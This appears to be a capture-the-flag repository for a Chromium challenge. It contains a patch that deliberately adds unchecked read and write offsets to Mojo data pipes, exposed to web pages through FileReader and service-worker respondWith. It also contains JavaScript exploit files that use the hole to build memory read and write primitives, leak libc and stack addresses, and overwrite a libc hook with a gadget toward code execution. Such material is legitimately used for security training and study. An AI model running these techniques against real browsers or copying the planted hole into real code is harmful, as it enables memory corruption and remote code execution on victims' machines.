a/mojo/core/entrypoints.cc b/mojo/core/entrypoints.cc 144 | index 42e741719227..f4309619e616 100644 145 | --- a/mojo/core/entrypoints.cc 146 | +++ b/mojo/core/entrypoints.cc 147 | @@ -135,6 +135,11 @@ MojoResult MojoCreateDataPipeImpl(const MojoCreateDataPipeOptions* options, 148 | data_pipe_consumer_handle); 149 | } 150 | 151 | +MojoResult MojoSetWriteOffsetImpl(MojoHandle data_pipe_producer_handle, 152 | + uint32_t write_offset) { 153 | + return g_core->SetWriteOffset(data_pipe_producer_handle, write_offset); 154 | +} 155 | + 156 | MojoResult MojoWriteDataImpl(MojoHandle data_pipe_producer_handle, 157 | const void* elements, 158 | uint32_t* num_elements, 159 | @@ -158,6 +163,11 @@ MojoResult MojoEndWriteDataImpl(MojoHandle data_pipe_producer_handle, 160 | options); 161 | } 162 | 163 | +MojoResult MojoSetReadOffsetImpl(MojoHandle data_pipe_consumer_handle, 164 | + uint32_t read_offset) { 165 | + return g_core->SetReadOffset(data_pipe_consumer_handle, read_offset); 166 | +} 167 | + 168 | MojoResult MojoReadDataImpl(MojoHandle data_pipe_consumer_handle, 169 | const MojoReadDataOptions* options, 170 | void* elements, 171 | @@ -365,9 +375,11 @@ MojoSystemThunks g_thunks = {sizeof(MojoSystemThunks), 172 | MojoGetMessageContextImpl, 173 | MojoNotifyBadMessageImpl, 174 | MojoCreateDataPipeImpl, 175 | + MojoSetWriteOffsetImpl, 176 | MojoWriteDataImpl, 177 | MojoBeginWriteDataImpl, 178 | MojoEndWriteDataImpl, 179 | + MojoSetReadOffsetImpl, 180 | MojoReadDataImpl, 181 | MojoBeginReadDataImpl, 182 | MojoEndReadDataImpl, 183 | diff --git a/mojo/public/c/system/data_pipe.h b/mojo/public/c/system/data_pipe.h 184 | index 3702cdb62493..254c30ee94e9 100644 185 | --- a/mojo/public/c/system/data_pipe.h 186 | +++ b/mojo/public/c/system/data_pipe.h 187 | @@ -211,6 +211,10 @@ MojoCreateDataPipe(const struct MojoCreateDataPipeOptions* options, 188 | MojoHandle* data_pipe_producer_handle, 189 | MojoHandle* data_pipe_consumer_handle); 190 | 191 | +MOJO_SYSTEM_EXPORT MojoResult 192 | +MojoSetWriteOffset(MojoHandle data_pipe_producer_handle, 193 | + uint32_t write_offset); 194 | + 195 | // Writes the data pipe producer given by |data_pipe_producer_handle|. 196 | // 197 | // |elements| points to data of size |*num_bytes|; |*num_bytes| must be a 198 | @@ -307,6 +311,10 @@ MojoEndWriteData(MojoHandle data_pipe_producer_handle, 199 | uint32_t num_bytes_written, 200 | const struct MojoEndWriteDataOptions* options); 201 | 202 | +MOJO_SYSTEM_EXPORT MojoResult 203 | +MojoSetReadOffset(MojoHandle data_pipe_consumer_handle, 204 | + uint32_t read_offset); 205 | + 206 | // Reads data from the data pipe consumer given by |data_pipe_consumer_handle|. 207 | // May also be used to discard data or query the amount of data available. 208 | // 209 | diff --git a/mojo/public/c/system/thunks.cc b/mojo/public/c/system/thunks.cc 210 | index cffef2cc50c2..9d4fb42102e3 100644 211 | --- a/mojo/public/c/system/thunks.cc 212 | +++ b/mojo/public/c/system/thunks.cc 213 | @@ -199,6 +199,11 @@ MojoResult MojoCreateDataPipe(const MojoCreateDataPipeOptions* options, 214 | data_pipe_consumer_handle); 215 | } 216 | 217 | +MojoResult MojoSetWriteOffset(MojoHandle data_pipe_producer_handle, 218 | + uint32_t write_offset) { 219 | + return INVOKE_THUNK(SetWriteOffset, data_pipe_producer_handle, write_offset); 220 | +} 221 | + 222 | MojoResult MojoWriteData(MojoHandle data_pipe_producer_handle, 223 | const void* elements, 224 | uint32_t* num_elements, 225 | @@ -222,6 +227,11 @@ MojoResult MojoEndWriteData(MojoHandle data_pipe_producer_handle, 226 | num_elements_written, options); 227 | } 228 | 229 | +MojoResult MojoSetReadOffset(MojoHandle data_pipe_consumer_handle, 230 | + uint32_t read_offset) { 231 | + return INVOKE_THUNK(SetReadOffset, data_pipe_consumer_handle, read_offset); 232 | +} 233 | + 234 | MojoResult MojoReadData(MojoHandle data_pipe_consumer_handle, 235 | const MojoReadDataOptions* options, 236 | void* elements, 237 | diff --git a/mojo/public/c/system/thunks.h b/mojo/public/c/system/thunks.h 238 | index 1e5e2493c7e2..d1cb0133e903 100644 239 | --- a/mojo/public/c/system/thunks.h 240 | +++ b/mojo/public/c/system/thunks.h 241 | @@ -99,6 +99,8 @@ struct MojoSystemThunks { 242 | MojoResult (*CreateDataPipe)(const struct MojoCreateDataPipeOptions* options, 243 | MojoHandle* data_pipe_producer_handle, 244 | MojoHandle* data_pipe_consumer_handle); 245 | + MojoResult (*SetWriteOffset)(MojoHandle data_pipe_producer_handle, 246 | + uint32_t write_offset); 247 | MojoResult (*WriteData)(MojoHandle data_pipe_producer_handle, 248 | const void* elements, 249 | uint32_t* num_elements, 250 | @@ -110,6 +112,8 @@ struct MojoSystemThunks { 251 | MojoResult (*EndWriteData)(MojoHandle data_pipe_producer_handle, 252 | uint32_t num_elements_written, 253 | const struct MojoEndWriteDataOptions* options); 254 | + MojoResult (*SetReadOffset)(MojoHandle data_pipe_consumer_handle, 255 | + uint32_t read_offset); 256 | MojoResult (*ReadData)(MojoHandle data_pipe_consumer_handle, 257 | const struct MojoReadDataOptions* options, 258 | void* elements, 259 | diff --git a/mojo/public/cpp/system/data_pipe.h b/mojo/public/cpp/system/data_pipe.h 260 | index 30c754646118..6749cafc4e06 100644 261 | --- a/mojo/public/cpp/system/data_pipe.h 262 | +++ b/mojo/public/cpp/system/data_pipe.h 263 | @@ -28,6 +28,10 @@ class DataPipeProducerHandle : public Handle { 264 | DataPipeProducerHandle() {} 265 | explicit DataPipeProducerHandle(MojoHandle value) : Handle(value) {} 266 | 267 | + MojoResult SetWriteOffset(uint32_t write_offset) const { 268 | + return MojoSetWriteOffset(value(), write_offset); 269 | + } 270 | + 271 | // Writes to a data pipe. See |MojoWriteData| for complete documentation. 272 | MojoResult WriteData(const void* elements, 273 | uint32_t* num_bytes, 274 | @@ -73,6 +77,10 @@ class DataPipeConsumerHandle : public Handle { 275 | DataPipeConsumerHandle() {} 276 | explicit DataPipeConsumerHandle(MojoHandle value) : Handle(value) {} 277 | 278 | + MojoResult SetReadOffset(uint32_t read_offset) const { 279 | + return MojoSetReadOffset(value(), read_offset); 280 | + } 281 | + 282 | // Reads from a data pipe. See |MojoReadData()| for complete documentation. 283 | MojoResult ReadData(void* elements, 284 | uint32_t* num_bytes, 285 | diff --git a/third_party/blink/renderer/core/fileapi/file_reader.cc b/third_party/blink/renderer/core/fileapi/file_reader.cc 286 | index a875dcfde102..b6e2dce1479a 100644 287 | --- a/third_party/blink/renderer/core/fileapi/file_reader.cc 288 | +++ b/third_party/blink/renderer/core/fileapi/file_reader.cc 289 | @@ -228,6 +228,12 @@ bool FileReader::HasPendingActivity() const { 290 | return state_ == kLoading || still_firing_events_; 291 | } 292 | 293 | +void FileReader::readAsArrayBuffer(Blob* blob, unsigned int write_offset, 294 | + ExceptionState& exception_state) { 295 | + write_offset_ = write_offset; 296 | + readAsArrayBuffer(blob, exception_state); 297 | +} 298 | + 299 | void FileReader::readAsArrayBuffer(Blob* blob, 300 | ExceptionState& exception_state) { 301 | DCHECK(blob); 302 | @@ -318,6 +324,7 @@ void FileReader::ExecutePendingRead() { 303 | loader_ = FileReaderLoader::Create(read_type_, this); 304 | loader_->SetEncoding(encoding_); 305 | loader_->SetDataType(blob_type_); 306 | + loader_->SetWriteOffset(write_offset_); 307 | loader_->Start(blob_data_handle_); 308 | blob_data_handle_ = nullptr; 309 | } 310 | diff --git a/third_party/blink/renderer/core/fileapi/file_reader.h b/third_party/blink/renderer/core/fileapi/file_reader.h 311 | index 94649ffc3686..0fed5e9ea71b 100644 312 | --- a/third_party/blink/renderer/core/fileapi/file_reader.h 313 | +++ b/third_party/blink/renderer/core/fileapi/file_reader.h 314 | @@ -63,6 +63,7 @@ class CORE_EXPORT FileReader final : public EventTargetWithInlineData, 315 | 316 | enum ReadyState { kEmpty = 0, kLoading = 1, kDone = 2 }; 317 | 318 | + void readAsArrayBuffer(Blob*, unsigned int, ExceptionState&); 319 | void readAsArrayBuffer(Blob*, ExceptionState&); 320 | void readAsBinaryString(Blob*, ExceptionState&); 321 | void readAsText(Blob*, const String& encoding, ExceptionState&); 322 | @@ -125,6 +126,7 @@ class CORE_EXPORT FileReader final : public EventTargetWithInlineData, 323 | LoadingState loading_state_; 324 | bool still_firing_events_; 325 | 326 | + unsigned int write_offset_ = 0; 327 | String blob_type_; 328 | scoped_refptr blob_data_handle_; 329 | FileReaderLoader::ReadType read_type_; 330 | diff --git a/third_party/blink/renderer/core/fileapi/file_reader.idl b/third_party/blink/renderer/core/fileapi/file_reader.idl 331 | index ab2c692417ef..e43b19d7ae62 100644 332 | --- a/third_party/blink/renderer/core/fileapi/file_reader.idl 333 | +++ b/third_party/blink/renderer/core/fileapi/file_reader.idl 334 | @@ -38,6 +38,7 @@ 335 | Exposed=(Window,Worker) 336 | ] interface FileReader : EventTarget { 337 | // async read methods 338 | + [RaisesException] void readAsArrayBuffer(Blob blob, unsigned long write_offset); 339 | [RaisesException] void readAsArrayBuffer(Blob blob); 340 | [RaisesException] void readAsBinaryString(Blob blob); 341 | [RaisesException] void readAsText(Blob blob, optional DOMString label); 342 | diff --git a/third_party/blink/renderer/core/fileapi/file_reader_loader.cc b/third_party/blink/renderer/core/fileapi/file_reader_loader.cc 343 | index 6bf6e8d9e9e1..b670acaf2781 100644 344 | --- a/third_party/blink/renderer/core/fileapi/file_reader_loader.cc 345 | +++ b/third_party/blink/renderer/core/fileapi/file_reader_loader.cc 346 | @@ -97,6 +97,8 @@ void FileReaderLoader::Start(scoped_refptr blob_data) { 347 | return; 348 | } 349 | 350 | + producer_handle->SetWriteOffset(write_offset_); 351 | + 352 | mojom::blink::BlobReaderClientPtr client_ptr; 353 | binding_.Bind(MakeRequest(&client_ptr)); 354 | blob_data->ReadAll(std::move(producer_handle), std::move(client_ptr)); 355 | diff --git a/third_party/blink/renderer/core/fileapi/file_reader_loader.h b/third_party/blink/renderer/core/fileapi/file_reader_loader.h 356 | index 6b5d8b3ec312..78e03ff408b7 100644 357 | --- a/third_party/blink/renderer/core/fileapi/file_reader_loader.h 358 | +++ b/third_party/blink/renderer/core/fileapi/file_reader_loader.h 359 | @@ -103,6 +103,7 @@ class CORE_EXPORT FileReaderLoader : public mojom::blink::BlobReaderClient { 360 | 361 | void SetEncoding(const String&); 362 | void SetDataType(const String& data_type) { data_type_ = data_type; } 363 | + void SetWriteOffset(unsigned int write_offset) { write_offset_ = write_offset; } 364 | 365 | bool HasFinishedLoading() const { return finished_loading_; } 366 | 367 | @@ -153,6 +154,7 @@ class CORE_EXPORT FileReaderLoader : public mojom::blink::BlobReaderClient { 368 | FileReaderLoaderClient* client_; 369 | WTF::TextEncoding encoding_; 370 | String data_type_; 371 | + unsigned int write_offset_ = 0; 372 | 373 | std::unique_ptr raw_data_; 374 | bool is_raw_data_converted_ = false; 375 | diff --git a/third_party/blink/renderer/modules/service_worker/fetch_event.cc b/third_party/blink/renderer/modules/service_worker/fetch_event.cc 376 | index a499d4c22393..61048f52c5be 100644 377 | --- a/third_party/blink/renderer/modules/service_worker/fetch_event.cc 378 | +++ b/third_party/blink/renderer/modules/service_worker/fetch_event.cc 379 | @@ -54,6 +54,17 @@ bool FetchEvent::isReload() const { 380 | return is_reload_; 381 | } 382 | 383 | +void FetchEvent::respondWith(ScriptState* script_state, 384 | + ScriptPromise script_promise, 385 | + unsigned int read_offset, 386 | + ExceptionState& exception_state) { 387 | + stopImmediatePropagation(); 388 | + if (observer_) { 389 | + observer_->read_offset_ = read_offset; 390 | + observer_->RespondWith(script_state, script_promise, exception_state); 391 | + } 392 | +} 393 | + 394 | void FetchEvent::respondWith(ScriptState* script_state, 395 | ScriptPromise script_promise, 396 | ExceptionState& exception_state) { 397 | diff --git a/third_party/blink/renderer/modules/service_worker/fetch_event.h b/third_party/blink/renderer/modules/service_worker/fetch_event.h 398 | index 1bf70d4484bf..8d7f8cdf815e 100644 399 | --- a/third_party/blink/renderer/modules/service_worker/fetch_event.h 400 | +++ b/third_party/blink/renderer/modules/service_worker/fetch_event.h 401 | @@ -62,6 +62,7 @@ class MODULES_EXPORT FetchEvent final 402 | String clientId() const; 403 | bool isReload() const; 404 | 405 | + void respondWith(ScriptState*, ScriptPromise, unsigned int, ExceptionState&); 406 | void respondWith(ScriptState*, ScriptPromise, ExceptionState&); 407 | ScriptPromise preloadResponse(ScriptState*); 408 | 409 | diff --git a/third_party/blink/renderer/modules/service_worker/fetch_event.idl b/third_party/blink/renderer/modules/service_worker/fetch_event.idl 410 | index 16e30dba8efc..599c8919a054 100644 411 | --- a/third_party/blink/renderer/modules/service_worker/fetch_event.idl 412 | +++ b/third_party/blink/renderer/modules/service_worker/fetch_event.idl 413 | @@ -13,6 +13,6 @@ 414 | readonly attribute DOMString clientId; 415 | readonly attribute boolean isReload; 416 | 417 | - [CallWith=ScriptState, RaisesException] void respondWith(Promise r); 418 | + [CallWith=ScriptState, RaisesException] void respondWith(Promise r, optional unsigned long read_offset); 419 | [CallWith=ScriptState] readonly attribute Promise preloadResponse; 420 | }; 421 | diff --git a/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.cc b/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.cc 422 | index 2aabdee38fbd..1a1310b81247 100644 423 | --- a/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.cc 424 | +++ b/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.cc 425 | @@ -297,6 +297,8 @@ void FetchRespondWithObserver::OnResponseFulfilled( 426 | DCHECK(producer.is_valid()); 427 | DCHECK(consumer.is_valid()); 428 | 429 | + consumer->SetReadOffset(read_offset_); 430 | + 431 | std::unique_ptr body_stream_handle = 432 | std::make_unique(std::move(consumer)); 433 | ServiceWorkerGlobalScopeClient::From(GetExecutionContext()) 434 | diff --git a/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.h b/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.h 435 | index 394d7e066ad7..ea62c10543b4 100644 436 | --- a/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.h 437 | +++ b/third_party/blink/renderer/modules/service_worker/fetch_respond_with_observer.h 438 | @@ -24,6 +24,8 @@ class MODULES_EXPORT FetchRespondWithObserver : public RespondWithObserver { 439 | public: 440 | ~FetchRespondWithObserver() override = default; 441 | 442 | + unsigned int read_offset_ = 0; 443 | + 444 | static FetchRespondWithObserver* Create( 445 | ExecutionContext*, 446 | int fetch_event_id, 447 | -------------------------------------------------------------------------------- /mr-mojo-rising/pagesized.txt: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------------------------------------------------------------------------------- /mr-mojo-rising/pwn.js: -------------------------------------------------------------------------------- 1 | function log(msg) { 2 | var x = document.createElement("div") 3 | x.innerHTML = "[+] " + msg + "\n"; 4 | console.log(x.innerHTML); 5 | document.getElementById("log").appendChild(x); 6 | } 7 | 8 | log("beginning exploit setup"); 9 | 10 | function setupsw() { 11 | log("registering service worker..."); 12 | navigator.serviceWorker.register("/sw.js", { scope: "/" }) 13 | .then(function(registration) { log("registered service worker"); }); 14 | } 15 | 16 | // register our service worker 17 | if ("serviceWorker" in navigator) { 18 | 19 | // add an event listener for service worker messages 20 | navigator.serviceWorker.addEventListener('message', event => { 21 | log(event.data.msg, event.data.url); 22 | }); 23 | 24 | setupsw(); 25 | 26 | navigator.serviceWorker.ready.then(function(registration) { 27 | log("service worker signaled itself as ready"); 28 | }); 29 | } else { 30 | log("browser doesn't support service workers?"); 31 | throw "a"; 32 | } 33 | 34 | // everything else is in pwn2.js -------------------------------------------------------------------------------- /mr-mojo-rising/pwn2.js: -------------------------------------------------------------------------------- 1 | // at this point the service worker has been registered, also we defined 2 | // some utility functions in pwn.js 3 | 4 | // spray some mappings so we can get one in a relative position that is before mapped solibs 5 | /*var filereaders = []; 6 | for(let x = 0; x < 0x100; x++) { 7 | let blob = new Blob(["A".repeat(0x40)], {type : 'application/json'}); 8 | let fr = new FileReader(); 9 | filereaders.push(fr); 10 | fr.readAsArrayBuffer(blob, 0x2000); 11 | } 12 | //log(filereaders); 13 | let blob = new Blob(["A".repeat(0x40)], {type : 'application/json'}); 14 | let fr = new FileReader();*/ 15 | //fr.readAsArrayBuffer(blob, 0x41414141); 16 | 17 | log("checking which pageload we are on"); 18 | 19 | var is_active = false; 20 | 21 | if (document.cookie.indexOf("A=G") == -1) { 22 | log("first pageload, doing refresh..."); 23 | document.cookie = "A=G"; 24 | //setTimeout(function() { location.reload(); }, 1000); 25 | is_active = true; 26 | } else { 27 | document.cookie = "A=D"; 28 | log("second pageload, running exploit..."); 29 | //is_active = true; 30 | } -------------------------------------------------------------------------------- /mr-mojo-rising/pwn3.js: -------------------------------------------------------------------------------- 1 | // check if the service worker is installed and running 2 | 3 | if (is_active) { 4 | // this is a regular task which will happen after any remaining microtasks 5 | setTimeout(function() { 6 | // this microtask will be resolved at the end of this task 7 | Promise.resolve().then(async function() { await exploit(); }); 8 | }, 0); 9 | } 10 | 11 | async function readtest(offset, len) { 12 | let response = await fetch("/lookup/?idx=0x" + offset.toString(16)); 13 | return response; 14 | } 15 | 16 | // define our read/write primitives 17 | async function rread(offset, len) { 18 | let response = await fetch("/lookup/?idx=0x" + offset.toString(16)); 19 | let data = await response.arrayBuffer(); 20 | log("Got response of length: " + data.byteLength); 21 | return new Uint8Array(data, 0, len); 22 | //return new Uint8Array(1); 23 | } 24 | 25 | async function rwrite(offset, data) { 26 | let blob = new Blob([data], {type : 'application/json'}); 27 | let fr = new FileReader(); 28 | fr.readAsArrayBuffer(blob, offset); 29 | } 30 | 31 | // https://stackoverflow.com/questions/40031688/javascript-arraybuffer-to-hex 32 | function hexdump(buffer) { 33 | log(Array.prototype.map.call(new Uint8Array(buffer), x => ('0x' + x.toString(16))).join(' ')); 34 | } 35 | 36 | // from here on out, we can use promises "asynchronously" 37 | // to do a straight-line exploit 38 | async function exploit() { 39 | log("beginning exploit"); 40 | 41 | // first, spray several /dev/shm mappings 42 | var filereaders = []; 43 | /*for(let x = 0; x < 0x100; x++) { 44 | filereaders.push(await rwrite(0x1000, "A".repeat(0x4000))); 45 | } 46 | log(filereaders);*/ 47 | 48 | // TODO: 49 | // write our ropchain to libc bss 50 | // overwrite one of the hooks with our stack pivot 51 | // trigger it to get code execution 52 | 53 | // leak a libc pointer 54 | let resp = readtest(0, 0x10000); 55 | let memmove_leak = await rread(0x110d7000+0x3ea018, 0x8); 56 | log(memmove_leak); 57 | hexdump(memmove_leak); 58 | let libc_leak = Sub(new Int64(memmove_leak), new Int64(0x17eda0)); 59 | log("libc base: " + libc_leak.toString()); 60 | 61 | // leak the stack pointer (libc + 0x3db4d8) 62 | let stack_leak = new Int64(await rread(0x110d7000+0x3db4d8, 0x8)); 63 | log("stack leak: " + stack_leak.toString()); 64 | 65 | // guess the current stack offset in the next rwrite call 66 | let guessed_stack = Sub(stack_leak, new Int64(0x20606)); 67 | log("stack base: " + guessed_stack.toString()); 68 | 69 | // calculate difference from our mapping 70 | let offset = Sub(guessed_stack, libc_leak); 71 | log("libc-stack offset: " + offset.toString()); 72 | 73 | let mapping = Sub(libc_leak, new Int64(0x110d7000)); 74 | log("mapping: " + mapping.toString()); 75 | 76 | let gadget = Add(libc_leak, new Int64(0xd9763)); 77 | 78 | log(gadget); 79 | 80 | // hit __free_hook 0x3dc8a8 81 | // strlen is the fcall 82 | await rwrite(0x110d7000+0x3da0a0, new Uint8Array(gadget.bytes())); 83 | //await rwrite(0x110d7000 + 0x3da0a0, "C".repeat(8)); 84 | 85 | } -------------------------------------------------------------------------------- /mr-mojo-rising/service.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | 3 | import subprocess 4 | import sys 5 | import time 6 | 7 | def main(): 8 | server = sys.stdin.readline() 9 | server_len = 0 10 | while server_len < 128 and (server[server_len] == '.' or server[server_len] == ':' or server[server_len].isalnum()): 11 | server_len += 1 12 | server = server[:server_len] 13 | 14 | args = [ 15 | '/home/user/chrome/chrome', 16 | '--disable-gpu', 17 | '--headless', '--timeout=15000', '--dump-dom', 18 | 'https://' + server, 19 | ] 20 | 21 | p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 22 | 23 | time.sleep(0.1) 24 | 25 | with open('/proc/{}/maps'.format(p.pid), 'r') as tmp: 26 | map = tmp.read().rstrip('\n') 27 | 28 | out, err = p.communicate() 29 | 30 | print '-- map ---------------------------------------------------------------' 31 | print map 32 | print '----------------------------------------------------------------------' 33 | 34 | print '-- out ---------------------------------------------------------------' 35 | print out 36 | print '----------------------------------------------------------------------' 37 | 38 | print '-- err ---------------------------------------------------------------' 39 | print err 40 | print '----------------------------------------------------------------------' 41 | 42 | if __name__ == '__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /mr-mojo-rising/sw.js: -------------------------------------------------------------------------------- 1 | const version = "0.1"; 2 | const cacheName = "exploit-cache"; 3 | 4 | var subblob = new Blob(["A".repeat(0x20000) + "B".repeat(0x20000)], {}); 5 | var gblob = new Blob([subblob, subblob], {}); 6 | 7 | self.addEventListener('install', event => { console.log("received install event"); event.waitUntil(self.skipWaiting()); }); 8 | 9 | self.addEventListener('activate', event => { 10 | console.log("received activate event"); 11 | event.waitUntil(clients.claim()); 12 | }); 13 | 14 | self.addEventListener('fetch', event => { 15 | console.log("received fetch event!"); 16 | event.waitUntil(function() { 17 | if (event.request.url.indexOf("idx=") == -1) { 18 | console.log("passing thru request for " + event.request.url) 19 | return fetch(event.request); 20 | } else { 21 | let offset = parseInt(event.request.url.split("idx=")[1]); 22 | console.log("got real read request for offset 0x" + offset.toString(16)); 23 | 24 | let mypromise = new Promise((resolve, reject) => { return new Response(gblob, {status: 420, statusText: "blah"}); }); 25 | event.respondWith(fetch("bigfile.txt"), offset); 26 | //event.respondWith(mypromise, offset); 27 | console.log("responded to real request..."); 28 | } 29 | }()); 30 | }); -------------------------------------------------------------------------------- /mr-mojo-rising/util.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // modified from https://github.com/LiveOverflow/lo_nintendoswitch/blob/master/opc1.html#L36 244 | function gc() { 245 | var x = new Array(0x800); 246 | for(y = 0; y < x.length; y++) { 247 | x[y] = new Uint32Array(0x10000); 248 | } 249 | for(y = 0; y < x.length; y++) { 250 | x[y] = 0; 251 | } 252 | } -------------------------------------------------------------------------------- 